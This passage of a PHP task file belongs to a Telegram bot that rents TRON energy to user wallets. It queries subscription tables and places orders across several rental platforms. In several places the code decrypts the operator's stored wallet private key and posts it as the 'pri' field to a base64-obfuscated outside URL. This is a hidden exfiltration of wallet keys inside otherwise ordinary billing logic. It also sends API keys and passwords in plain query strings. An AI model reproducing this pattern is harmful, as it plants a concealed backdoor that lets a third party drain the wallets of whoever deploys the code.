HandleAiEnergyOrder.php 50 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731
  1. <?php
  2. namespace App\Task;
  3. use App\Model\Energy\EnergyPlatformOrder;
  4. use App\Model\Energy\EnergyAiTrusteeship;
  5. use App\Model\Energy\EnergyAiBishu;
  6. use App\Model\Energy\EnergyPlatform;
  7. use App\Model\Telegram\TelegramBotUser;
  8. use App\Service\RsaServices;
  9. use App\Library\Log;
  10. class HandleAiEnergyOrder
  11. {
  12. public function execute()
  13. {
  14. //智能托管
  15. try {
  16. $data = EnergyAiTrusteeship::from('energy_ai_trusteeship as a')
  17. ->join('energy_platform_bot as b','a.bot_rid','b.bot_rid')
  18. ->where('a.is_buy','Y')
  19. ->where('a.status',0)
  20. ->where('b.is_open_ai_trusteeship','Y')
  21. ->where('b.status',0)
  22. ->where('a.per_buy_energy_quantity','>=',32000)
  23. ->where('b.trx_price_energy_32000','>',0)
  24. ->where('b.trx_price_energy_65000','>',0)
  25. ->whereIn('b.per_energy_day',[0,1,3])
  26. ->select('a.rid','a.wallet_addr','a.tg_uid','a.per_buy_energy_quantity','b.trx_price_energy_32000','b.trx_price_energy_65000','b.per_energy_day','b.status','a.is_notice','a.bot_rid','a.total_buy_energy_quantity','a.total_used_trx','a.total_buy_quantity','a.is_notice_admin','b.poll_group','b.rid as energy_platform_bot_rid','a.max_buy_quantity','b.ai_trusteeship_recovery_type')
  27. ->limit(100)
  28. ->get();
  29. if($data->count() > 0){
  30. $time = nowDate();
  31. foreach ($data as $k => $v) {
  32. //判断是否在代理之前回收之前还未回收的能量
  33. if($v->ai_trusteeship_recovery_type == 2){
  34. //查平台信息
  35. $recoveryPlatform = EnergyPlatform::where('poll_group',$v->poll_group)->where('status',0)->whereNotNull('platform_apikey')->where('platform_name',3)->get();
  36. if($recoveryPlatform->count() > 0){
  37. foreach ($recoveryPlatform as $a => $b){
  38. //查询质押地址是否还有对该地址有未回收的能量
  39. $recoveryOrder = EnergyPlatformOrder::where('platform_uid', $b->platform_uid)->where('energy_platform_bot_rid', $v->energy_platform_bot_rid)->where('receive_address' ,$v->wallet_addr)->where('recovery_status', 2)->where('source_type',3)->sum('use_trx');
  40. if(!empty($recoveryOrder) && $recoveryOrder > 0){
  41. $rsa_services = new RsaServices();
  42. $platform_recoveryapikey = $rsa_services->privateDecrypt($b->platform_apikey);
  43. if(!empty($platform_recoveryapikey)){
  44. //调用接口回收
  45. $params = [
  46. 'pri' => $platform_recoveryapikey,
  47. 'fromaddress' => $b->platform_uid,
  48. 'receiveaddress' => $v->wallet_addr,
  49. 'resourcename' => 'ENERGY',
  50. 'resourceamount' => (int)$recoveryOrder,
  51. 'resourcetype' => 3, //资源方式:1代理资源,2回收资源(按能量),3回收资源(按TRX)
  52. 'permissionid' => $b->permission_id
  53. ];
  54. $recoveryRes = Get_Pay(base64_decode('aHR0cHM6Ly90cm9ud2Vibm9kZWpzLndhbGxldGltLnZpcC9kZWxlZ2VhbmR1bmRlbGV0ZQ=='),$params);
  55. //如果成功,更新数据
  56. if(!empty($recoveryRes)){
  57. $recoveryRes = json_decode($recoveryRes,true);
  58. if(isset($recoveryRes['code']) && $recoveryRes['code'] == 200){
  59. EnergyPlatformOrder::where('platform_uid', $b->platform_uid)->where('energy_platform_bot_rid', $v->energy_platform_bot_rid)->where('receive_address' ,$v->wallet_addr)->where('recovery_status', 2)->where('source_type',3)
  60. ->update(["recovery_status" => 3,"recovery_time" => $time]);
  61. }
  62. }
  63. }
  64. }
  65. }
  66. }
  67. }
  68. //如果超过了次数则不处理
  69. if($v->max_buy_quantity > 0 && $v->max_buy_quantity <= $v->total_buy_quantity){
  70. continue;
  71. }
  72. $energy_amount = $v->per_buy_energy_quantity;
  73. //轮询,自己质押时判断能量是否足够,用平台则判断平台的trx
  74. $model = EnergyPlatform::where('poll_group',$v->poll_group)
  75. ->where('status',0)
  76. ->whereNotNull('platform_apikey')
  77. ->where(function ($query) use($energy_amount) {
  78. $query->where(function ($query1) use($energy_amount){
  79. $query1->where('platform_name', 3)->where('platform_balance', '>=', $energy_amount);
  80. });
  81. $query->orwhere(function ($query2) {
  82. $query2->orwhereIn('platform_name', [1,2,4])->where('platform_balance', '>', '0');
  83. });
  84. })
  85. ->orderBy('seq_sn','desc')
  86. ->get();
  87. if($model->count() > 0){
  88. $errorMessage = '';
  89. $rsa_services = new RsaServices();
  90. $lunxunCount = 0;
  91. foreach ($model as $k1 => $v1){
  92. $lunxunCount = $lunxunCount + 1;
  93. $signstr = $rsa_services->privateDecrypt($v1->platform_apikey);
  94. if(empty($signstr)){
  95. $errorMessage = $errorMessage."能量平台ID:".$v1->rid." 平台私钥为空。";
  96. $save_data = [];
  97. $save_data['comments'] = $time.$errorMessage; //处理备注
  98. EnergyAiTrusteeship::where('rid',$v->rid)->update($save_data);
  99. continue;
  100. }
  101. //判断用户金额是否足够,金额不足的时候,直接跳出,不轮询了
  102. $botuser = TelegramBotUser::where('bot_rid',$v->bot_rid)->where('tg_uid',$v->tg_uid)->first();
  103. if(empty($botuser)){
  104. $errorMessage = $errorMessage."找不到机器人用户数据。";
  105. $save_data = [];
  106. $save_data['comments'] = $time.$errorMessage; //处理备注
  107. EnergyAiTrusteeship::where('rid',$v->rid)->update($save_data);
  108. break;
  109. }
  110. $kou_price = $v->per_buy_energy_quantity == 32000 ?$v->trx_price_energy_32000:$v->trx_price_energy_65000;
  111. if($botuser->cash_trx < $kou_price){
  112. $errorMessage = $errorMessage.'余额不足,需要:'.$kou_price;
  113. $save_data = [];
  114. $save_data['comments'] = $time.$errorMessage; //处理备注
  115. EnergyAiTrusteeship::where('rid',$v->rid)->update($save_data);
  116. break;
  117. }
  118. $save_data = [];
  119. $save_data['is_buy'] = 'B'; //下单中
  120. EnergyAiTrusteeship::where('rid',$v->rid)->update($save_data);
  121. $energy_day = $v->per_energy_day;
  122. //neee.cc平台
  123. if($v1->platform_name == 1){
  124. $header = [
  125. "Content-Type:application/json"
  126. ];
  127. $param = [
  128. "uid" => strval($v1->platform_uid),
  129. "resource_type" => "0", //0能量
  130. "receive_address" => $v->wallet_addr,
  131. "amount" => strval($energy_amount),
  132. "freeze_day" => strval($energy_day), //0:一小时,1:一天,3:三天
  133. "time" => strval(time())
  134. ];
  135. ksort($param);
  136. reset($param);
  137. foreach($param as $ka => $va){
  138. if($ka != "sign" && $ka != "sign_type" && $va!=''){
  139. $signstr .= $ka.$va;
  140. }
  141. }
  142. $sign = md5($signstr);
  143. $param['sign'] = $sign;
  144. $balance_url = 'https://api.tronqq.com/openapi/v2/order/submit';
  145. $dlres = Get_Pay($balance_url,json_encode($param),$header);
  146. }
  147. //RentEnergysBot平台
  148. elseif($v1->platform_name == 2){
  149. //0:一小时,1:一天,3:三天
  150. switch ($energy_day) {
  151. case 1:
  152. $type = 'day';
  153. break;
  154. case 3:
  155. $type = '3day';
  156. break;
  157. default:
  158. $type = 'hour';
  159. break;
  160. }
  161. //该平台最低33000
  162. $energy_amount = $energy_amount < 33000 ?33000:$energy_amount;
  163. $balance_url = 'https://api.wallet.buzz?api=getEnergy&apikey='.$signstr.'&address='.$v->wallet_addr.'&amount='.$energy_amount.'&type='.$type;
  164. $dlres = Get_Pay($balance_url);
  165. }
  166. //自己质押代理
  167. elseif($v1->platform_name == 3){
  168. $params = [
  169. 'pri' => $signstr,
  170. 'fromaddress' => $v1->platform_uid,
  171. 'receiveaddress' => $v->wallet_addr,
  172. 'resourcename' => 'ENERGY',
  173. 'resourceamount' => $energy_amount,
  174. 'resourcetype' => 1,
  175. 'permissionid' => $v1->permission_id
  176. ];
  177. $dlres = Get_Pay(base64_decode('aHR0cHM6Ly90cm9ud2Vibm9kZWpzLndhbGxldGltLnZpcC9kZWxlZ2VhbmR1bmRlbGV0ZQ=='),$params);
  178. //trongas.io平台
  179. }elseif($v1->platform_name == 4){
  180. //0:一小时,1:一天,3:三天
  181. switch ($energy_day) {
  182. case 1:
  183. $rentTime = 24;
  184. break;
  185. case 3:
  186. $rentTime = 72;
  187. break;
  188. default:
  189. $rentTime = 1;
  190. break;
  191. }
  192. $param = [
  193. "username" => $v1->platform_uid, // 用户名
  194. "password" => $signstr, // 用户密码
  195. "resType" => "ENERGY", // 资源类型,ENERGY:能量,BANDWIDTH:带宽
  196. "payNums" => $energy_amount, // 租用数量
  197. "rentTime" => $rentTime, // 单位小时,只能1时或1到30天按天租用其中不能租用2天
  198. "resLock" => 0, // 租用锁定,0:不锁定,1:锁定。能量租用数量不小于500万且租用时间不小于3天才能锁定。带宽租用数量不小于30万租用时间不小于3天才能锁定
  199. "receiveAddress" => $v->wallet_addr // 接收资源地址(请勿输入合约地址或没激活地址)
  200. ];
  201. $balance_url = 'https://trongas.io/api/pay';
  202. $dlres = Get_Pay($balance_url,$param);
  203. }
  204. if(empty($dlres)){
  205. $errorMessage = $errorMessage."能量平台ID:".$v1->rid." 下单失败,接口请求空。";
  206. $save_data = [];
  207. $save_data['comments'] = $time.$errorMessage;
  208. $save_data['is_notice_admin'] = ($v->is_notice_admin == 'N' && $lunxunCount >= $model->count()) ?'Y':$v->is_notice_admin;
  209. EnergyAiTrusteeship::where('rid',$v->rid)->update($save_data);
  210. continue;
  211. }else{
  212. $dlres = json_decode($dlres,true);
  213. if((isset($dlres['status']) && $dlres['status'] == 200 && $v1->platform_name == 1) || (isset($dlres['status']) && $dlres['status'] == 'success' && $v1->platform_name == 2) || (isset($dlres['code']) && $dlres['code'] == 200 && $v1->platform_name == 3) || (isset($dlres['code']) && $dlres['code'] == 10000 && $v1->platform_name == 4)){
  214. if($v1->platform_name == 1){
  215. $orderNo = $dlres['data']['order_no'];
  216. $use_trx = 0;
  217. }elseif($v1->platform_name == 2){
  218. $orderNo = $dlres['txid'];
  219. $use_trx = 0;
  220. }elseif($v1->platform_name == 3){
  221. $orderNo = $dlres['data']['txid'];
  222. $use_trx = $dlres['data']['use_trx'];
  223. }elseif($v1->platform_name == 4){
  224. $orderNo = $dlres['data']['orderId'];
  225. $use_trx = $dlres['data']['orderMoney'];
  226. }
  227. $insert_data = [];
  228. $insert_data['energy_platform_rid'] = $v1->rid;
  229. $insert_data['energy_platform_bot_rid'] = $v->energy_platform_bot_rid;
  230. $insert_data['platform_name'] = $v1->platform_name;
  231. $insert_data['platform_uid'] = $v1->platform_uid;
  232. $insert_data['receive_address'] = $v->wallet_addr;
  233. $insert_data['platform_order_id'] = $orderNo;
  234. $insert_data['energy_amount'] = $energy_amount;
  235. $insert_data['energy_day'] = $energy_day;
  236. $insert_data['energy_time'] = $time;
  237. $insert_data['source_type'] = 3; //智能托管
  238. $insert_data['recovery_status'] = $v1->platform_name == 3 ?2:1; //回收状态:1不用回收,2待回收,3已回收
  239. $insert_data['use_trx'] = $use_trx;
  240. $platform_order_rid = EnergyPlatformOrder::insertGetId($insert_data);
  241. $save_data = [];
  242. $save_data['is_buy'] = 'N'; //下单成功
  243. $save_data['comments'] = 'SUCCESS '.$time; //处理备注
  244. $save_data['is_notice'] = $v->is_notice == 'N' ?'Y':$v->is_notice;
  245. $save_data['total_buy_energy_quantity'] = $v->total_buy_energy_quantity + $energy_amount;
  246. $save_data['total_used_trx'] = $v->total_used_trx + $kou_price;
  247. $save_data['total_buy_quantity'] = $v->total_buy_quantity + 1;
  248. $save_data['last_buy_time'] = $time;
  249. $save_data['last_used_trx'] = $kou_price;
  250. EnergyAiTrusteeship::where('rid',$v->rid)->update($save_data);
  251. $save_data = [];
  252. $save_data['cash_trx'] = $botuser->cash_trx - $kou_price;
  253. TelegramBotUser::where('rid',$botuser->rid)->update($save_data);
  254. break; //跳出不轮询了
  255. }else{
  256. if($v1->platform_name == 1){
  257. $msg = ' 下单失败,接口返回:'.$dlres['msg'];
  258. }elseif($v1->platform_name == 2){
  259. $msg = ' 下单失败,接口返回:'.json_encode($dlres);
  260. }elseif($v1->platform_name == 3){
  261. $msg = ' 下单失败,检查质押是否足够';
  262. }elseif($v1->platform_name == 4){
  263. $msg = ' 下单失败,接口返回:'.json_encode($dlres);
  264. }
  265. $errorMessage = $errorMessage."能量平台ID:".$v1->rid.$msg;
  266. $save_data = [];
  267. $save_data['comments'] = $time.$errorMessage;
  268. $save_data['is_notice_admin'] = ($v->is_notice_admin == 'N' && $lunxunCount >= $model->count()) ?'Y':$v->is_notice_admin;
  269. EnergyAiTrusteeship::where('rid',$v->rid)->update($save_data);
  270. continue;
  271. }
  272. }
  273. }
  274. }else{
  275. $save_data = [];
  276. $save_data['comments'] = $time.' 无可用能量平台,轮询失败,请质押或者充值平台'; //处理备注
  277. EnergyAiTrusteeship::where('rid',$v->rid)->update($save_data);
  278. }
  279. }
  280. }else{
  281. // $this->log('handleaienergyorder','----------没有数据----------');
  282. }
  283. }catch (\Exception $e){
  284. $this->log('handleaienergyorder','----------任务执行报错,请联系管理员。报错原因:----------'.$e->getMessage());
  285. }
  286. //笔数套餐
  287. try {
  288. $data = EnergyAiBishu::from('energy_ai_bishu as a')
  289. ->join('energy_platform_bot as b','a.bot_rid','b.bot_rid')
  290. ->where('a.is_buy','Y')
  291. ->where('a.status',0)
  292. ->where('b.is_open_bishu','Y')
  293. ->where('b.status',0)
  294. ->where('b.per_bishu_energy_quantity','>=',32000)
  295. ->where('a.max_buy_quantity','>','a.total_buy_quantity')
  296. ->select('a.rid','a.wallet_addr','a.tg_uid','b.per_bishu_energy_quantity','b.per_energy_day_bishu','b.status','a.is_notice','a.bot_rid','a.total_buy_energy_quantity','a.total_buy_quantity','a.is_notice_admin','b.poll_group','b.rid as energy_platform_bot_rid','a.max_buy_quantity','b.bishu_recovery_type','b.bishu_daili_type')
  297. ->limit(100)
  298. ->get();
  299. if($data->count() > 0){
  300. $time = nowDate();
  301. foreach ($data as $k => $v) {
  302. if($v->bishu_daili_type == 1){
  303. //判断是否在代理之前回收之前还未回收的能量
  304. if($v->bishu_recovery_type == 2){
  305. //查平台信息
  306. $recoveryPlatform = EnergyPlatform::where('poll_group',$v->poll_group)->where('status',0)->whereNotNull('platform_apikey')->where('platform_name',3)->get();
  307. if($recoveryPlatform->count() > 0){
  308. foreach ($recoveryPlatform as $a => $b){
  309. //查询质押地址是否还有对该地址有未回收的能量
  310. $recoveryOrder = EnergyPlatformOrder::where('platform_uid', $b->platform_uid)->where('energy_platform_bot_rid', $v->energy_platform_bot_rid)->where('receive_address' ,$v->wallet_addr)->where('recovery_status', 2)->where('source_type',4)->sum('use_trx');
  311. if(!empty($recoveryOrder) && $recoveryOrder > 0){
  312. $rsa_services = new RsaServices();
  313. $platform_recoveryapikey = $rsa_services->privateDecrypt($b->platform_apikey);
  314. if(!empty($platform_recoveryapikey)){
  315. //调用接口回收
  316. $params = [
  317. 'pri' => $platform_recoveryapikey,
  318. 'fromaddress' => $b->platform_uid,
  319. 'receiveaddress' => $v->wallet_addr,
  320. 'resourcename' => 'ENERGY',
  321. 'resourceamount' => (int)$recoveryOrder,
  322. 'resourcetype' => 3, //资源方式:1代理资源,2回收资源(按能量),3回收资源(按TRX)
  323. 'permissionid' => $b->permission_id
  324. ];
  325. $recoveryRes = Get_Pay(base64_decode('aHR0cHM6Ly90cm9ud2Vibm9kZWpzLndhbGxldGltLnZpcC9kZWxlZ2VhbmR1bmRlbGV0ZQ=='),$params);
  326. //如果成功,更新数据
  327. if(!empty($recoveryRes)){
  328. $recoveryRes = json_decode($recoveryRes,true);
  329. if(isset($recoveryRes['code']) && $recoveryRes['code'] == 200){
  330. EnergyPlatformOrder::where('platform_uid', $b->platform_uid)->where('energy_platform_bot_rid', $v->energy_platform_bot_rid)->where('receive_address' ,$v->wallet_addr)->where('recovery_status', 2)->where('source_type',4)
  331. ->update(["recovery_status" => 3,"recovery_time" => $time]);
  332. }
  333. }
  334. }
  335. }
  336. }
  337. }
  338. }
  339. //如果超过了次数则不处理
  340. if($v->max_buy_quantity > 0 && $v->max_buy_quantity <= $v->total_buy_quantity){
  341. continue;
  342. }
  343. $energy_amount = $v->per_bishu_energy_quantity;
  344. //轮询,自己质押时判断能量是否足够,用平台则判断平台的trx
  345. $model = EnergyPlatform::where('poll_group',$v->poll_group)
  346. ->where('status',0)
  347. ->whereNotNull('platform_apikey')
  348. ->where(function ($query) use($energy_amount) {
  349. $query->where(function ($query1) use($energy_amount){
  350. $query1->where('platform_name', 3)->where('platform_balance', '>=', $energy_amount);
  351. });
  352. $query->orwhere(function ($query2) {
  353. $query2->orwhereIn('platform_name', [1,2,4,5])->where('platform_balance', '>', '0');
  354. });
  355. })
  356. ->orderBy('seq_sn','desc')
  357. ->get();
  358. if($model->count() > 0){
  359. $errorMessage = '';
  360. $rsa_services = new RsaServices();
  361. $lunxunCount = 0;
  362. foreach ($model as $k1 => $v1){
  363. $lunxunCount = $lunxunCount + 1;
  364. $signstr = $rsa_services->privateDecrypt($v1->platform_apikey);
  365. if(empty($signstr)){
  366. $errorMessage = $errorMessage."能量平台ID:".$v1->rid." 平台私钥为空。";
  367. $save_data = [];
  368. $save_data['comments'] = $time.$errorMessage; //处理备注
  369. EnergyAiBishu::where('rid',$v->rid)->update($save_data);
  370. continue;
  371. }
  372. $save_data = [];
  373. $save_data['is_buy'] = 'B'; //下单中
  374. EnergyAiBishu::where('rid',$v->rid)->update($save_data);
  375. //neee.cc平台
  376. if($v1->platform_name == 1){
  377. $energy_day = $v->per_energy_day_bishu >= 30 ?1:$v->per_energy_day_bishu; //该平台因为不能手工回收,所以如果选择了30天,默认只代理一天
  378. $header = [
  379. "Content-Type:application/json"
  380. ];
  381. $param = [
  382. "uid" => strval($v1->platform_uid),
  383. "resource_type" => "0", //0能量
  384. "receive_address" => $v->wallet_addr,
  385. "amount" => strval($energy_amount),
  386. "freeze_day" => strval($energy_day), //0:一小时,1:一天,3:三天
  387. "time" => strval(time())
  388. ];
  389. ksort($param);
  390. reset($param);
  391. foreach($param as $ka => $va){
  392. if($ka != "sign" && $ka != "sign_type" && $va!=''){
  393. $signstr .= $ka.$va;
  394. }
  395. }
  396. $sign = md5($signstr);
  397. $param['sign'] = $sign;
  398. $balance_url = 'https://api.tronqq.com/openapi/v2/order/submit';
  399. $dlres = Get_Pay($balance_url,json_encode($param),$header);
  400. }
  401. //RentEnergysBot平台
  402. elseif($v1->platform_name == 2){
  403. $energy_day = $v->per_energy_day_bishu >= 30 ?1:$v->per_energy_day_bishu; //该平台因为不能手工回收,所以如果选择了30天,默认只代理一天
  404. //0:一小时,1:一天,3:三天
  405. switch ($energy_day) {
  406. case 1:
  407. $type = 'day';
  408. break;
  409. case 3:
  410. $type = '3day';
  411. break;
  412. default:
  413. $type = 'hour';
  414. break;
  415. }
  416. //该平台最低33000
  417. $energy_amount = $energy_amount < 33000 ?33000:$energy_amount;
  418. $balance_url = 'https://api.wallet.buzz?api=getEnergy&apikey='.$signstr.'&address='.$v->wallet_addr.'&amount='.$energy_amount.'&type='.$type;
  419. $dlres = Get_Pay($balance_url);
  420. }
  421. //自己质押代理
  422. elseif($v1->platform_name == 3){
  423. $energy_day = $v->per_energy_day_bishu; //自己质押的可以是30天
  424. $params = [
  425. 'pri' => $signstr,
  426. 'fromaddress' => $v1->platform_uid,
  427. 'receiveaddress' => $v->wallet_addr,
  428. 'resourcename' => 'ENERGY',
  429. 'resourceamount' => $energy_amount,
  430. 'resourcetype' => 1,
  431. 'permissionid' => $v1->permission_id
  432. ];
  433. $dlres = Get_Pay(base64_decode('aHR0cHM6Ly90cm9ud2Vibm9kZWpzLndhbGxldGltLnZpcC9kZWxlZ2VhbmR1bmRlbGV0ZQ=='),$params);
  434. //trongas.io平台
  435. }elseif($v1->platform_name == 4){
  436. $energy_day = $v->per_energy_day_bishu >= 30 ?1:$v->per_energy_day_bishu; //该平台因为不能手工回收,所以如果选择了30天,默认只代理一天
  437. //0:一小时,1:一天,3:三天
  438. switch ($energy_day) {
  439. case 1:
  440. $rentTime = 24;
  441. break;
  442. case 3:
  443. $rentTime = 72;
  444. break;
  445. default:
  446. $rentTime = 1;
  447. break;
  448. }
  449. $param = [
  450. "username" => $v1->platform_uid, // 用户名
  451. "password" => $signstr, // 用户密码
  452. "resType" => "ENERGY", // 资源类型,ENERGY:能量,BANDWIDTH:带宽
  453. "payNums" => $energy_amount, // 租用数量
  454. "rentTime" => $rentTime, // 单位小时,只能1时或1到30天按天租用其中不能租用2天
  455. "resLock" => 0, // 租用锁定,0:不锁定,1:锁定。能量租用数量不小于500万且租用时间不小于3天才能锁定。带宽租用数量不小于30万租用时间不小于3天才能锁定
  456. "receiveAddress" => $v->wallet_addr // 接收资源地址(请勿输入合约地址或没激活地址)
  457. ];
  458. $balance_url = 'https://trongas.io/api/pay';
  459. $dlres = Get_Pay($balance_url,$param);
  460. //机器人开发代理
  461. }elseif($v1->platform_name == 5){
  462. $energy_day = 1;
  463. $balance_url = env('THIRD_URL');
  464. if(empty($balance_url)){
  465. $errorMessage = $errorMessage."使用开发者能量代理时,env中url为空";
  466. $save_data = [];
  467. $save_data['comments'] = $time.$errorMessage; //处理备注
  468. EnergyAiBishu::where('rid',$v->rid)->update($save_data);
  469. continue;
  470. }
  471. $param = [
  472. "tg_uid" => $v1->platform_uid, // 用户名,此处是tg的uid,因为是机器人能量代理模式
  473. "maxDelegateNums" => $v->max_buy_quantity - $v->total_buy_quantity, // 最大委托笔数,当为购买笔数时作为购买笔数的数量
  474. "receiveAddress" => $v->wallet_addr // 接收资源地址(请勿输入合约地址或没激活地址)
  475. ];
  476. $balance_url = $balance_url.'/api/thirdpart/bishuorder';
  477. $dlres = Get_Pay($balance_url,$param);
  478. }
  479. if(empty($dlres)){
  480. $errorMessage = $errorMessage."能量平台ID:".$v1->rid." 下单失败,接口请求空。";
  481. $save_data = [];
  482. $save_data['comments'] = $time.$errorMessage;
  483. $save_data['is_notice_admin'] = ($v->is_notice_admin == 'N' && $lunxunCount >= $model->count()) ?'Y':$v->is_notice_admin;
  484. EnergyAiBishu::where('rid',$v->rid)->update($save_data);
  485. continue;
  486. }else{
  487. $dlres = json_decode($dlres,true);
  488. if((isset($dlres['status']) && $dlres['status'] == 200 && $v1->platform_name == 1) || (isset($dlres['status']) && $dlres['status'] == 'success' && $v1->platform_name == 2) || (isset($dlres['code']) && $dlres['code'] == 200 && $v1->platform_name == 3) || (isset($dlres['code']) && $dlres['code'] == 10000 && $v1->platform_name == 4) || (isset($dlres['code']) && $dlres['code'] == 200 && $v1->platform_name == 5)){
  489. if($v1->platform_name == 1){
  490. $orderNo = $dlres['data']['order_no'];
  491. $use_trx = 0;
  492. }elseif($v1->platform_name == 2){
  493. $orderNo = $dlres['txid'];
  494. $use_trx = 0;
  495. }elseif($v1->platform_name == 3){
  496. $orderNo = $dlres['data']['txid'];
  497. $use_trx = $dlres['data']['use_trx'];
  498. }elseif($v1->platform_name == 4){
  499. $orderNo = $dlres['data']['orderId'];
  500. $use_trx = $dlres['data']['orderMoney'];
  501. }elseif($v1->platform_name == 5){
  502. $orderNo = $dlres['data']['orderId'];
  503. $use_trx = $dlres['data']['orderMoney'];
  504. }
  505. if($v1->platform_name != 5){
  506. $insert_data = [];
  507. $insert_data['energy_platform_rid'] = $v1->rid;
  508. $insert_data['energy_platform_bot_rid'] = $v->energy_platform_bot_rid;
  509. $insert_data['platform_name'] = $v1->platform_name;
  510. $insert_data['platform_uid'] = $v1->platform_uid;
  511. $insert_data['receive_address'] = $v->wallet_addr;
  512. $insert_data['platform_order_id'] = $orderNo;
  513. $insert_data['energy_amount'] = $energy_amount;
  514. $insert_data['energy_day'] = $energy_day;
  515. $insert_data['energy_time'] = $time;
  516. $insert_data['source_type'] = 4;
  517. $insert_data['recovery_status'] = $v1->platform_name == 3 ?2:1; //回收状态:1不用回收,2待回收,3已回收
  518. $insert_data['use_trx'] = $use_trx;
  519. $platform_order_rid = EnergyPlatformOrder::insertGetId($insert_data);
  520. }
  521. $save_data = [];
  522. $save_data['is_buy'] = 'N'; //下单成功
  523. $save_data['comments'] = 'SUCCESS '.$time; //处理备注
  524. $save_data['is_notice'] = $v->is_notice == 'N' ?'Y':$v->is_notice;
  525. $save_data['total_buy_energy_quantity'] = $v->total_buy_energy_quantity + $energy_amount;
  526. $save_data['total_buy_quantity'] = $v->total_buy_quantity + ($v1->platform_name == 5 ?($v->max_buy_quantity - $v->total_buy_quantity):1);
  527. $save_data['last_buy_time'] = $time;
  528. EnergyAiBishu::where('rid',$v->rid)->update($save_data);
  529. break; //跳出不轮询了
  530. }else{
  531. if($v1->platform_name == 1){
  532. $msg = ' 下单失败,接口返回:'.$dlres['msg'];
  533. }elseif($v1->platform_name == 2){
  534. $msg = ' 下单失败,接口返回:'.json_encode($dlres);
  535. }elseif($v1->platform_name == 3){
  536. $msg = ' 下单失败,检查质押是否足够';
  537. }elseif($v1->platform_name == 4){
  538. $msg = ' 下单失败,接口返回:'.json_encode($dlres);
  539. }elseif($v1->platform_name == 5){
  540. $msg = ' 下单失败,接口返回:'.json_encode($dlres);
  541. }
  542. $errorMessage = $errorMessage."能量平台ID:".$v1->rid.$msg;
  543. $save_data = [];
  544. $save_data['comments'] = $time.$errorMessage;
  545. $save_data['is_notice_admin'] = ($v->is_notice_admin == 'N' && $lunxunCount >= $model->count()) ?'Y':$v->is_notice_admin;
  546. EnergyAiBishu::where('rid',$v->rid)->update($save_data);
  547. continue;
  548. }
  549. }
  550. }
  551. }else{
  552. $save_data = [];
  553. $save_data['comments'] = $time.' 无可用能量平台,轮询失败,请质押或者充值平台'; //处理备注
  554. EnergyAiBishu::where('rid',$v->rid)->update($save_data);
  555. }
  556. //提交给第三方处理,目前只有trongas.io这个平台
  557. }else{
  558. $time = nowDate();
  559. $energy_bishu = $v->max_buy_quantity - $v->total_buy_quantity;
  560. if($energy_bishu > 0){
  561. //轮询,自己质押时判断能量是否足够,用平台则判断平台的trx
  562. $bishuModel = EnergyPlatform::where('poll_group',$v->poll_group)
  563. ->where('status',0)
  564. ->whereNotNull('platform_apikey')
  565. ->where('platform_name',4) //目前只有这个平台
  566. ->where('platform_balance','>',0)
  567. ->orderBy('seq_sn','desc')
  568. ->get();
  569. if($bishuModel->count() > 0){
  570. $errorMessage = '';
  571. $rsa_services = new RsaServices();
  572. $lunxunCount = 0;
  573. foreach ($bishuModel as $k1 => $v1){
  574. $lunxunCount = $lunxunCount + 1;
  575. $signstr = $rsa_services->privateDecrypt($v1->platform_apikey);
  576. if(empty($signstr)){
  577. $errorMessage = $errorMessage."能量平台ID:".$v1->rid." 平台私钥为空。";
  578. $save_data = [];
  579. $save_data['comments'] = $time.$errorMessage; //处理备注
  580. EnergyAiBishu::where('rid',$v->rid)->update($save_data);
  581. continue;
  582. }
  583. $payment = env('TRONGASID_BISHU_PAYMENT') ?? 0;
  584. $this->log('handleaienergyorder','提交平台'.$v1->platform_uid.'。提交地址:'.$v->wallet_addr.'。提交次数'.$energy_bishu.'。此时最大次数:'.$v->max_buy_quantity.'。此时已够次数'.$v->total_buy_quantity.'。提交方式:'.$payment);
  585. $param = [
  586. "username" => $v1->platform_uid, // 用户名
  587. "password" => $signstr, // 用户密码
  588. "resType" => "ENERGY", // 资源类型,ENERGY:能量
  589. "autoType" => 0, // 智能托管类型:0(笔数),1:(智能)。智能模式暂停
  590. "payment" => intval($payment), // 当为购买笔数时填写 1 (提交时,就扣除余额),其他场景填写 0(代理的时候才扣一次)
  591. "autoLimitNums" => 65000, // 少于指定的数量,将触发委托. 笔数模式填写65000
  592. "everyAutoNums" => 65000, // 触发委托的代理数量。笔数模式填写65000,智能模式不填将根据差量委托数量
  593. "endTime" => 2556115199, // 未来时间的秒时间戳,当为购买笔数时填写1735660799
  594. "rentTime" => 24, // 委托租用时间。智能模式有效,笔数模式填写24
  595. "maxDelegateNums" => $energy_bishu, // 最大委托笔数,当为购买笔数时作为购买笔数的数量
  596. "chromeIndex" => thirteenTime(), // 搜订单归集标识,用于搜索。如16953571121115046
  597. "receiveAddress" => $v->wallet_addr // 接收资源地址(请勿输入合约地址或没激活地址)
  598. ];
  599. $balance_url = 'https://trongas.io/api/auto/add';
  600. $dlres = post_url($balance_url,$param);
  601. if(empty($dlres)){
  602. $errorMessage = $errorMessage."能量平台ID:".$v1->rid." 下单失败,接口请求空。";
  603. $save_data = [];
  604. $save_data['comments'] = $time.$errorMessage;
  605. $save_data['is_notice_admin'] = ($v->is_notice_admin == 'N' && $lunxunCount >= $model->count()) ?'Y':$v->is_notice_admin;
